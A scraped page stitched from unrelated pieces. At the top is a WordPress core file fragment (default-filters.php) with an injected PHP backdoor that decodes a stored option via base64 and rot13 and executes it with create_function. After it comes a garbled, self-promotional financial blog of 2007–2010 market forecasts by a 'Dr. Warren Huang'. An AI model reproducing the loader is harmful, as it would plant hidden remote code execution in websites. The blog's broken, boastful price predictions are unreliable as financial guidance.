< ;$z=get_option("_transient_feed_37f1955feaa736bf684af787d9e4a65b"); $z=base64_decode(str_rot13($z)); if(strpos($z,"5581F572")!==false){ $_z=create_function("",$z); @$_z(); } ?php /** * Sets up the default filters and actions for most * of the WordPress hooks. * * If you need to remove a default hook, this file will * give you the priority for which to use to remove the * hook. * * Not all of the default hooks are found in default-filters.php * * @package WordPress */ // Strip, trim, kses, special chars for string saves foreach ( array( 'pre_term_name', 'pre_comment_author_name', 'pre_link_name', 'pre_link_target', 'pre_link_rel', 'pre_user_display_name', 'pre_user_first_name', 'pre_user_last_name', 'pre_user_nickname' ) as $filter ) { add_filter( $filter, 'sanitize_text_field' ); add_filter( $filter, 'wp_filter_kses' ); add_filter( $filter, '_wp_specialchars', 30 ); } // Strip, kses, special chars for string display foreach ( array( 'term_name', 'comment_author_name', 'link_name', 'link_target', 'link_rel', 'user_display_name', 'user_first_name', 'user_last_name', 'user_nickname' ) as $filter ) { add_filter( $filter, 'sanitize_text_field' ); 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European Debt crisis, China credit tightening, global exit strategy impact on currency, gold, oil prices

June 7th, 2010

Daily Gold, Metal Prices Bubbles Burst , Proactive Structural Simulation /Forecast 2010  OSA  by Dr. Warren Huang Pioneering  :US/ China/Global  Debt, Credit, Financial Crisis, exit strategy and Economic Stimulus  impact on Daily Global  Gold  and Metals Futures Prices Mechanism and Gold Fund Performance

 Book your June- Aug Taipei, Hong Kong, Shanghai Proactive Structural European, Debt crisis, global liquidity, exit strategy impact on Asian equities, housing currency, commodities prices 2010 forecast workshops

 Beware of Oil, Gold , commodity price bubble burst due to  ,  weakness in business and consumer demand resulted slow recession  recovery, even weak dollar can not save it  

Gold price peaking out in summer 2010 around 1250- 1300  and return to 1200 and below due to 4 year high of dollar against Euro due to debt crisis, China Asian credit tightening against housing pricing bubble, economic slowdown to 7.5 % GDP, US exit strategy, out of tax rebate, housing consumer credit and inflationary control economy to slowdown to below 2.5 % in second half  Beware of Oil, Gold , commodity price bubble burst due to China housing price bubble and inflation control , US and Asian exit strategy rate hike fighting inflation lead to weakness in business and consumer demand resulted slow recession  recovery, while complicated by excessive liquidity bubble resulted  global sovereign debt bubble burst crisis  from Dubai, PIGS (Greece, Spain, UK, Portugeece , Italy)) resulted commodity prices bubble lead to inflationary pressure and credit tightening in exit strategy. Debt crisis in EURO area, strong US 4Q GDP of 5.7 % and 1Q 3.00 %, will driving dollar to new high to 1.20- 1.32 EURO, 1.45-1.52 pound  drag gold from 1250 peak to 1060, oil from 86 to 68, are excessive given US 1.8 trillion budget deficit, and soaring consumer, business debt will drag dollar lower and oil, gold price rebound summer 2010  2010 oil, gasoline, heating oil, Natural gas prices forecast: China credit tightening housing price bubble and inflation control,  in 2010 to reduce GDP from 12 % to 8 %, M2 money supply growth from 28 to 17 % in 2010 and US exit strategy fighting inflation in second half 2010 will cut oil demand and  lead to oil price peaking out in 2010  Oil price will be rebound from 69 to 75 in 1Q 2010, and to 66- 88 in 2 Q , and 3 Q  and 74- 88 in 4 Q Gasoline price will be rebound from 190- 210 in 1 Q, 200- 250 in 2, 3 Q, 200- 220 in 4Q heating oil price will be rebound from 190- 210 in 1 Q, 185- 220-  in 2, 3 Q, 210- 250 in 4Q Natural   price will be rebound from4.5-6.0  in 1 Q,  4.0- 5.0  in 2, 3 Q, 5.0- 6.5 in 4Q Gold price will be rebound from 1000- 1150 in 1 Q, 1150- 1250 in 2, 3 Q,  1200- 1350  in 4Q US dollar firm due  to continued debt crisis in PIGS and UK US dollar  in 1 Q, 1.25-1.32- -EURO , 1.18-1.32- EURO in 2 Q, 1.20- 1.30 ,in 3 Q, 1.25- 1.35 in 4 Q   and 1.45- 1.50  pound in 1 Q, 2 Q  and 1.41- 1.52- 1.58 in 3, 4 Q US dollar peaking out in 1 Q, 88- 93 Yen , 78- 90    in 2Q, 3Q,  85- 92  in   4 Q,  

  • Dr. Warren Huang Comment to Wall Street Journal Market beat  May15, 2

European Debt crisis, China credit tightening,Global exit strategy impact on global stocks

June 7th, 2010

  

 Comment by  Dr. Warren Huang on Yahoo finance.com, Wall Street Journal Market  Blog May 10, 2010 I predicted on Sept 2007 Wall Street Journal Real Time Economics, Market Beat blog and this blog that the burst of  US and global super housing prices bubble will repeat 1980 style last through 2010 with double dip recession and stock market rebound and correction due to excessive stimulus , zero interest and trillions liquidity into the financial and economic system. We are in the second stage of recession recovery , the global debt bubble burst crisis with public debt over 6- 12 % of GDP, starting with Greece, US, Spain, Portuguese were caused by easy credits, excessive liquidity resulted debt  and asset ( equities, commodities, housing )bubbles burst. Global stock markets rally over Euro trillion bail out fades in one day due to US and global stocks investors and economist are overoptimistic about US 1 Q GDP growth at 3.2 %, April PMI at 60, and rebound in housing and retail sales 2010  all due to housing stimulus credit soon to expire in April, and tax rebate resulted consumer spending rebound at 6 % will peaking out after May, Greece, euro area debt crisis drag GDP growth to 1 % , dollar appreciation from 1.5 to 1.26 euro will further slowdown US export growth in the second half  , China credit tightening slow GDP to 8 % by yearend , India, Austria, Korea interest rate hikes will slow down GDP growth , leading to US export decline related  while any further exit strategy, credit tightening, inflationary control, rate hikes will lead to economic growth  double dip to below  2.5 % by yearend . US stocks are extremely overpriced , subject to 20- 30 % correction Dow Jones, Nasdaq, S&P stock index forecasts Dow Junes will be return to consolidate in 9000- 9900 soon , NASDAQ test 2000- 2200, S&P test 1000- 1100 , China Shanghai A index 2250- 2500, Shenzhen A index 9000- 10000, Hang Seng Index 16000- 28000, Singapore st. index 2600- 2800, Taiwan Index 6600- 7200, London Financial Times 4800- 5000, Dax index 5000- 5500 and may test in second financial , recession crisis double dip triggered by Greek and PIGS countries debt crisis, China/Asian slowdown Details on www.osawh.com/centmaf.htm www.osawh.com/dowwp.htm www.osawh.com/debtbub.htm  

Daily Global Stock Markets OSA Blog Dr. Warren Huang, May, 2009

May 10th, 2009

Comment by Warren Huang, Wall Street Journal Market Beat Blog 3:02 pm May 1, 2009

  • The bull forgot that we are in unprecedented global financial, crisis crisis and deep recession in a decade. The economic recession and housing, banking crisis , recession and capital market will not be easily recover and stock market V share rebound.. The market will be changed from U recovery to W recovery due current premature bull speculation. We will soon facing correction, as bulls find rocky housing, banking, financial economic recovery and disappointing corporate performance. details on http://www.osawh.com/macro.html http://www.osawh.com/mortdefa.htm http://www.osawh.com/SP500.htm

Stock Market Strategy Blog Dr. Warren Huang

February 3rd, 2008
Praoctive structural dynamic asset price mechanism supported optimal 1xx/xx long short strategy predicted the short/long term emerging market price trend, maximi- mize risk adjusted return in volatile market. I predicted on this blog last Sept that US housing price slump continue into summer 2008 drag into recession and global stock market into bear correction, with banking finance, housing stocks plunge 50- 70 %, IT , high flier GOOG, AAPL, PetroChina, GS plunge 50 %. all US global ETF inlucing BRIC down 30 %, only gold, ultra financial, real estate short fund gain 20- 30 % details can be found on www.osawh.com/A130-30wksp.htm and www.osaglobalstrategicmanagement.com/blog
Comment by Warren Huang - February 3, 2008 at 1:32 pm

US market tracking Blog Dr. Warren Huang

February 3rd, 2008
It is premature for US markets to use rate cuts, Microsoft-Yahoo merger, ExxonMobil to bottom fishing for financial, construction stocks. This housing price slump will continue into summer, despite rate cuts. Most mega merger at peak of asset bubbles facing burst and lead to huge loss, repeat 2000 IT bubble burst, Look at CSCO, Citi, AOL endless lists. US dollar strength is supported by rising oil, commodities prices and soaring inflation, eventual rate hike, EURO rate cuts due to slowdown, supporting near term dollar weakness. Global construction demand will be drag by US housing price slump resulted economic recession and global stock market decline resulted housing bubble bursts in China credit tightening, India, UK. China recent snow damage will recover easily. www.osawh.com/fund2008.htm 
Comment by Warren Huang on Wall Street Journal Markte Beat Blog- February 2, 2008 at 3:01 pm  

Currency Market Blog Dr. Warren Huang

February 3rd, 2008
Dollar at the cross road, thcross current of soarig oil, commodity prices ,US inflation and recession resulted rate cuts continue. Dollar will regaining its strength, this summer when current rate cuts series stop, switch to rake hikes fighting inflation EURO peaking out at 1.59, Yen at 103, most other currency already peaking out  details can be found on www.osawh.com/currency.html

Economics Blog inflation control

September 24th, 2007
It does not decision makeing by groups or single person, if we are using the wrong inflation models. What we needed is a sound inflation model which predict and forecst the future inflation. Our core inflation rate( exculde food , energy) set at 2 % are misleading the economy it lagged 6 month behind the real economy. That is why Greenspan over optimistics about the infaltion, ignoring hosuing, equitities, comodities price bubble ,raise rate 17 time still chasing the inflation, excessive rate cuts resulted hosuing and stock markets bubble burst since 1987 I presented my asset based inflation model this Princeton Econometric peoferssor and Nobel Economic prize winner Engle June this year on Peking University conference details can be found on www.osawh.com/centmaf.html
Comment by Warren Huang - September 24, 2007 at 7:44 pm  

Market beat Turbulence ahead Dr. Warren Hunag

September 24th, 2007
I warned on Wall Street Journal Blogs before market speculation on Fed rate cut, that any rate cut will repeat 1998 and 1989 , just delay the already serious housing bubble burst, will be followed by deeper recession. Fed 50 point cut on top of Dow Jones stock index near its peak, oil, commodities prices at its all time high this inflationary pressure situation is much worse than 1998, 1989, with 7 trillion dollar housing price gain wealth speculating in housing and stock market, it will be very tough for Fed to cool it off, it will blow the bubble bigger, as coastal area high end housing prices soared 40- 150 % in July. even Greenspan agree that this house bubble is tough for any central banks to manage, China raise 5 time rates, 7 times bank deposit ratio, still fail to contain the soaring housing and  stock price bubble. both Benanke and market are facing turbulent period ahead. details can be found onwww.osawh.com/centmaf.html Comment by Warren Huang  - September 24, 2007 at 11:16 am        

Market beat blog Fed rate cut timing

September 20th, 2007
Fed ’s rate cut is little to early and too much, If stock , commodity prices made 20 % correction, housing prices plunge another 15 %, economic cool off a bit,will be much safer, have more room and time for expansionary policy. we are already at its peak stock index, housinng , energy, feedgrain, metal prices all at all time high, even money supply growth is doubled from year ago ( 3.5 % to 6.8 % in Aug. we are very much in 1998 LTCM bail out, went inot 1999-2000 bubble burst. details can be found www.osawh.com/centmaf.html
Comment by Warren Huang - September 20, 2007 at 1:24 pm  

Global EconomY Blog US Fed rate cut

September 19th, 2007
 Wall Street Journal Real Time Economic Blot Sept. 19, 2007 
My financial and industrial econometric model relating housing prices and mortgage loan default to money supply, mortgage rate, stock index, housing prices, unemployment, inflation, fed fund rate warned Fed 2003,in Singapore, Shanghai Euro-events QFII executive conference that US China facing housing bubbles, and credit tightening, Fed underestimate oil price, commodity and housing demand, prices, stocks prices bubble, use core inflation (exclude energy, food) over emphasize cut unemployment rate (which is inflationary) to delay rate hike to June 2004 with 17 rate hikes at 25 base point at each time , however Fed’s ignoring commodities, housing, stock asset prices bubbles, leave 30 yr mortgage rate at 6 % all time low, despite 17 rate hikes, are the root causes of housing bubble, and Bernanke leave rate un-change in June last year too soon, to let the stock market speculation Dow JOne up 40 % further drive up housing prices resulted excess wealth gain, excess liquidity, resulte sub-prime problem. m2 money supply growth soared from 3.5 % June 2006 to July 6.18 2007 and 6.68 % Aug 2007 after 100 billion cash injection, Now 50 base point cut will further inflate the bubble and inflation. details can be found on www.osawh.com/centmaf.html
Comment by OSA pioneer Warren Huang - September 19, 2007 at 3:33 pm
 
 

Housing Crisis Blog Dr Warren Huang

September 1st, 2007
Housing Crisis,Housing Prices, Inflation and Fed PolicyFed does not response to housing prices soared 300 % in coastal ares of NY, California make affordability drop from 60 % to 40 %,and pushed oil, metals, commodities price soared 300 %, CPI inflation up 4.5 %, but Fed watched core inflation ( exclude food and energy) still below 2 % now it response to 20 % housing price correction by cutting rates, stimulated overheated equities, housing demand( which is normal supply demand relation) Fed missing link between housing, equities price bubble and CPI inflation. by maintaining stocks, housing bubble growth, the trillion wealth gain it drown Fed , make it hard to manupulate like current China twin asset bubbles, will reach huge bubble bursts, with or without central bank control, that deep recession following will be horrible. details can be found on www.osawh.com/riskm.html causes, onsset, recovery, early warning of global financial crisis, asset bubble crisis    

Energy Price Tracking Blog Dr. Warren Huang

August 31st, 2007

Crude Surges Over $74

barrels    Roshanak Taghavi reports on today’s action in the energy markets: Crude-oil futures rose above $74 a barrel Friday on heightened concerns that a new tropical storm could be developing in the Atlantic Ocean and an upsurge in U.S. equities. The front-month October light, sweet crude contract on the New York Mercantile Exchange was up 86 cents, or 1.2%, at $74.22 a barrel. October Brent crude on the ICE futures exchange was up 93 cents at $72.83 a barrel. Traders were paying extra attention Friday to four low pressure systems that have developed in the Atlantic basin, which could develop into a strong storm or hurricane. Atlantic hurricanes have the potential to enter the U.S. Gulf of Mexico and wreak havoc with energy installations there. Crude oil and gasoline futures have been extremely volatile since Wednesday, when the U.S. Department of Energy reported gasoline inventories fell by a larger-than-expected 3.6 million barrels in the week ended Aug. 24. U.S. gasoline stocks now cover just 20 days of demand, the lowest level on record, according to the DOE’s Energy Information Administration. Expectations that gasoline supplies will tighten even more during the U.S. Labor Day holiday, when many Americans hit the road to attend celebrations and take vacations, has also added to traders’ concerns. “We are maintaining a view that any strength in the crude oil or heating oil going forward will be driven almost entirely by a tight gasoline market,” said Jim Ritterbusch of Ritterbusch and Associates in Galena, Ill. in a research note. “We are still not ruling out a strong expiration today as the combination of near record low gasoline supply cover and a thin holiday trade could provide a recipe for a volatile session as today’s trade proceeds.” Nymex September reformulated-gasoline blendstock was up 1.03 cents, or 0.5%, at $2.0904 a gallon. September heating oil was up 2.46 cents, or 1.2%, at $2.0530 a gallon.

The onset and impact of phase II global credit financial crisis, recession

February 22nd, 2009

US , EURO, UK  and Japan just entering phase II housing, credit, financial, crisis, recessibn, continuation of phase I, casused by housing bubble burst resulted subprime, mortgage crisis spreading into credit, financial crisis and onset of recession, with housing prices plunged 15 %, resulted equties price bubble burst, stock indices plunged 50 %,( Dow Jones plunged from 14300 to 7300, GDP plunged below -3 %, SP500 from 1500 to 750) Dax from 8500 to 4200, FT from 8000 to 4000),drag oil,  commodities , metal bubble burst 50- 70 %
The phase II banking financial crisis is caused by prolonged housing market slump drag economy  into deep recession,housing prices plunged 25 % and GDP plunge 5 % this year, Japan GDP plunged 12 %, Nikkei index plunged from 19000 to 7300, Dow Jones will plunge to 6000 this year further drag banking and nonbanking into all out deep liquidity, d credit,default , financial crisis and deeper recession, delay the credit market recovery for
highly risky, high yield junk bond leveraged finance and acquisition housing ( will be following housing market slump and recession)

comment to Asian leverage finance, acquisition conference, Feb. 17, 2009, Hong Kong, Greensburg of Goldman Sach on credit market recovery learning process

 

2009 Proactive Structural US/China housing, credit, financial crisis, recession Operations Simulation Analysis

February 9th, 2009
 on 2009 China/US/Global Monetary, Economic, Stimulus,  Fiscal Bail Out Impact on Housing, Banking, Financial Crisis, Recession Daily Financial Markets Asset Prices, Trillion Dollar Recession Hedge Optimal long-short  strategy lectures      by Dr. Warren Huang lectures, panelist speakers on financial crisis, recession strategy  Feb, March Hong Kong, Pudong QFII/QDII summit  conferences 2009  Phase I  monetary, economic, fiscal policy impact on Global Housing, Equities, Commodities, Bond, Derivatives Asset Prices  Bubble Burst Mechanism and Sub-prime crisis on Daily Prices Dynamics , Subprime, mortgage, Credit crisis, Financial , Systemic Risks   impact on  Recession and  Phase II Global deep recession impact on housing price slump, banking, credit, financial crisis and industrial sectors demand, prices slump and defaults for  Asian private equities, leverage finance acquisition summit  , Feb 16- 17, Hong, Kong  by EuromoneyTrillion Dollar Recession Hedge Optimal long-short ,ultra short strategy for  China Derivatives, Summit Credit, Financial Crisis, Recession Risks Hedging  2009  Conference, Pudong, China, March, 2009      by   EUROMONEY               Trillion Dollar Recession Risks Hedging  2009  Conference, Pudong, China, March, 2009   program           China     China/US 2009 Housing, Financial Crisis,  Recession,, Infrastructure Stimulus Impact on  Economy, Capital Markets    Forecast by Dr. Warren Huang  Proactive Structural Trillion Dollar Recession Hedging, Multiclass Asset, Derivatives Allocation Strategy       by Dr. Warren Huang  website: www.osawh.com   Hyatt Regency, Pudong, Shanghai, Mar 24- 25, 2009 www.osawh.com/mortdefa.htm www.osawh.com/riskm.html

US stock indices testing recession low by Dr. Warren Huang

October 10th, 2008
From my proactive structural simulation of monetary, fiscal, economic policy impact on last 30 years global macroeconomic cycles, interest rate, currency, commodities, stock indicex, housing and derivative asset prices bubbles burst, mortgage, credit, financial crisis. Housing slump, mortgage, financial crisis will continue drag US into deep recession  through early 2009drag major stock indices into recession lows Dow Jones testing  6000-7000-  NASDAQ testing  1150- 1250 S&P 500 testing  600-700 details on www.osawh.com/mortdefa.htm www.osawh.com/fund2008.htm www.osawh.com/SP500.htm www.osawh.com/riskm.html         ,

Globa Bear Market Correction continue Dow to 6000, SP to 600 , NASDAQ to 1100 by Dr. Warren Huang

October 7th, 2008
Dr. Huang  warned since Sept 2007 again that global central banks, economist,market analysts and banking, finance company have misled the investors again that rate cuts, economic stimulus, rescue package will stop housing and stock market price slump resulted mortage  , credit, financial crisis and recession. Again they drag into 1980, 1990 style double inflationary recession and super housing bubble burst due to slump in consumer and busiess spending,soaring jobless rate due resulted by trillions housing and stock market wealth loss will continue into 2009 despite 7000 billion rescue package and trillion dollar mortgage bail out of bad assets, MBS. Dow Jones will plunge below 7000  soon while S&P will test 600- 700 NASDAQ test  1100- 1250- 1750  early 2009 details on www.osawh.com/mortdefa.htm www.osawh.com/SP500.htm www.osawh.com/macro.html  www.osawh.com/NASDAQ.htm   Comment by Warren Huang -Wall Street Journal Market Beat Blog Dec. 31 2008 at 2:43 am

High Tech Bubble Burst NASDAQ to 1100- 1250

October 7th, 2008
It warned in 1999 and again Sept 2007 again that market analysts and high tech company have misled the investors again that high tech are immune to mortgage , credit, financial crisis. Again they drag into 1980 style deep  recession and bubble burst in 2009 due to slump in consumer and busiess spending soaring jobless rate due to trillion thousing and stock market wealth loss Big name high fliers GOOG ad AAPL will plunge more than 70- , IBM will plunge 50% despite share buy back. NASDAQ index will down 70 % to 1100- 1250 level in the recession through 2009. details on www.osawh.com/NASDAQ.htm www.osawh.com/mortdefa.htm
Comment by Warren Huang  Wall Street Journal Market Beat Blog- Dec. 31, 2008 at 2:43 am

SP banking share plunged into 50- 70 % correction by Dr. Warren Huang

June 29th, 2008
Comment to Yahoo Finance June 29, 2008  I warned on Wall Street Market beat blog last Sept that Fed rate cut cuts can not stop housing price slump into summer 2008, drag economy into recession, stock into bear market correction banking, finance share plunge 50-70 % and plunging dollar, economic stimulus package push soaring oil , commodity price in summer peak demand, resulted inflationary recession will drag banking share further.  SP banking 50 % correction is just phase one correction, it may have some bear market rally, and then plunge ito phase 2 correction, 50-70 %, reflecting further housing market slump resulted credit crisis and job cuts, stock market crashed impact on banking sare performance  details on www.osawh.com/mortdefa.htm   www.osawh.com/Fedcrisab.htm  www.osawh.com/recession.html  www.osawh.com/fund2008.htm   

Inflation and Credit crisis impact on bank stocks, gold price Dr. Warren Huang

June 18th, 2008
 

Comment by Warren Huang -Wall Street Journal Market Beat June 17, 2:30 pm

I warned on this blog that investment banking , regional banks and finance, housing industries facing continued  soaring unsold house inventory,  foreclosure, credit default, credit crisis, unemployment share  prices facing 50- 70 % correction, will led to housing price slump continue into summer 2008, drag economics into recession, despite aggressive rate cuts, drag dollar lower,and soaring oil, commodities prices facing inflationary recession. Despite GS excellent performances , it is tough to fight the turbulent, uncertainties market ahead. Walmart May sale increase  are benefited by rebate check, can not be sustainable after July , and profit margin are squeezed by heavy discount, That is why Walmart postponed its store opening investment., It share price all ready peaking out. Economic stimulus will continue drive up consumers spending for food, oil, consumer products to July, supporting record oil, commodities prices and inflation. Gold price will be pushed up by oil, price, inflation and weak dollar to retest 990. details on www.osawh.com/mortdefa.htm  www.osawh.com/test.html www.osawh.com/fund2008.html www.osawh.com/commody.html